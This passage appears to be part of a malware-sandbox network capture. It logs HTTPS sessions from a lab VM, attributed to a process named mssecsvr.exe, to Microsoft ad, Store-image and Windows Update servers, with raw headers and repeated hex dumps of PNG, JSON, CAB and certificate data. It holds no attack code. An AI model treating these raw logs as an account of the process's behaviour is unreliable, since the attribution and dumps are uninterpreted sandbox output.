6d 61 67 65 5c 2f 61 70 70 Data Ascii: ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-images.s-microsoft.com\/image\/app

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49726	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:32 UTC	1	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202320Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=271574ea336b40cda00e341ea963f6b0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: vztfcoan+0Ck02PT.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 11:23:32 UTC	2	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: RqiGnVUF8gJgbwI8Nv49X3ULhPsaKsLVAfn7GqB3xg0eXP0xWw+gYdgJ4yHHC7gg/97FTXQTHpvAgRMEdwjIHs8aE0CjE4ahYRoECfOWW34BuCaE6OXTAMSfH5TS3ATzJ9ArmHYZt45QWT2kaNtPqEFD14dDRklrbifT/2DO5+GU/fonymKcRKrkptziUO/Ef8hAFXA18PhbHdYtZQWx7S8boRQcwkhBmMWAONB/5NiY3o64kltoxBM1pInfYw77ns7kd+L7Yk7KVXMcb6PoktRl/bLYbdSTzR92B8QWK3aOkx47DqmTL44T6tg2oBWjNeATT6VVpyL4Z7wMHT1DJQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:23:31 GMT Connection: close
2022-07-20 11:23:32 UTC	3	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 31 35 3a 32 33 3a 33 32 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T15:23:32"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49735	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:41 UTC	98	OUT	GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	98	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 5777 Content-Type: image/png Last-Modified: Tue, 31 Mar 2020 18:42:54 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTJCQjJGM0E" MS-CV: sE5KrZztTESl/Nvr.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	99	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 16 58 49 44 41 54 78 da ed 9d 0b 98 14 d5 95 c7 4f 55 77 cf 7b 98 27 30 03 0c 32 c0 3c 18 90 a7 02 22 2a 88 1a 5f 49 4c 76 e5 e9 aa c9 ae df ba 8b 49 24 a2 0b 7c 01 8c 51 3f 13 35 2a 2a ba 26 ab 44 57 d7 90 20 a0 e8 b2 20 a2 2c a0 3c 8d b0 40 90 37 01 86 d7 cc 30 d3 33 d3 ef 5b 5b 55 53 d5 73 eb d6 bd 55 d5 f8 98 ae ee 7b f9 ee d7 5d d3 35 35 dd 75 7f fd 3f ff 73 4e 75 23 02 1f 7c 5c c4 10 f9 29 e0 83 83 c3 07 07 87 0f 0e 0e 1f 1c 1c 3e f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 0e 0e 1f 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 3e 38 38 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 3e 04 9b c9 c1 e1 83 0a ca d7 bd 3f 07 27 45 61 f9 ba 8e c5 c1 49 Data Ascii: PNGIHDR0XIDATxOUw{'02<"_ILvI$\|Q?5*&DW ,<@703[[USsU{]55u?sNu#\|\)>\|pp>88\|pp>?'EaI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.7	51189	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:56 UTC	7835	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202434Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:56 UTC	7835	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f9ade0c0-33e6-49ec-adb8-cf9766cbacd2 Date: Wed, 20 Jul 2022 11:24:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.7	51193	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:57 UTC	7835	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T202435Z&asid=1caaf4d619b544a9b17e045f5f8ff054&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:57 UTC	7836	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4b64781a-b8f6-47be-b91b-53879f276bf0 Date: Wed, 20 Jul 2022 11:24:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.7	51224	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:57 UTC	7836	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:57 UTC	7836	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: a64347da-62a7-4d4a-b382-8c9017a9ae7a MS-RequestId: 235b6c2c-6f97-4c3c-8238-3c013afb3b21 MS-CV: PbxvV3WjLU+ZWatA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:56 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:57 UTC	7837	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:57 UTC	7852	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:57 UTC	7868	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.7	51229	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:58 UTC	7872	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:58 UTC	7872	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c2edc910-cacd-4ac1-92dd-626ee73697e4 MS-RequestId: dd59b7d8-3b46-4f3e-9b69-c228dddf81a7 MS-CV: TZUA0BR920msOrcU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:57 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:58 UTC	7873	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:58 UTC	7888	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:58 UTC	7904	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.7	51270	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:59 UTC	7908	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:59 UTC	7908	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: f3bf786b-0656-4e85-9aac-f9b2e6e96cc6 MS-RequestId: 2aaff1e9-ceb6-4642-8810-88956b587e36 MS-CV: yLxpS4d1uUaZiExp.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:58 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:59 UTC	7909	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:59 UTC	7924	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:59 UTC	7940	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.7	51288	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:59 UTC	7944	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:25:00 UTC	7944	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 3f46e330-7677-4131-a062-d654969a05d6 MS-RequestId: 1ff039ca-31ac-4325-bce6-246031dad0fc MS-CV: 9KHmFWZGgkG+nJpD.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:58 GMT Connection: close Content-Length: 35877
2022-07-20 11:25:00 UTC	7945	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:25:00 UTC	7960	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 